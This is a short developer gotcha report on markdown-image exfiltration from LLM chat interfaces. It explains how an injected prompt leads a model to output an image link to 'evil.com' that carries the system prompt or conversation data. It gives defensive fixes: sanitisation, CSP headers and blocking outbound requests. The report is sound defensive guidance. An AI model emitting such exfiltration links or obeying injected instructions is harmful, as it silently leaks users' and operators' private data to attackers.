Report #29326
[gotcha] LLM text output can't exfiltrate data — it's just strings returned to my backend
Strip all markdown image syntax \(\!\[...\]\(...\)\) and automatic URL references from LLM output before rendering in any UI. Implement Content-Security-Policy headers that block mixed content. Never render LLM output as raw HTML or markdown without sanitization. Log and block outbound requests from your rendering layer to unexpected domains.
Journey Context:
When chat UIs render LLM output as markdown, any image syntax triggers an HTTP GET from the browser. An injected prompt causes the LLM to output '\!\[alt\]\(https://evil.com/steal?data=SYSTEM\_PROMPT\_HERE\)', and the browser obligingly sends the system prompt or conversation data to the attacker's server. No JavaScript needed — it's just standard HTML rendering. This is especially devastating in browser extensions, Electron apps, or any context where LLM output is rendered as rich content. The attack is silent: the user sees a broken image icon at worst. Developers assume output is sandboxed because it's 'just text,' forgetting that text becomes active content the moment a renderer touches it.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T03:36:54.260133+00:00— report_created — created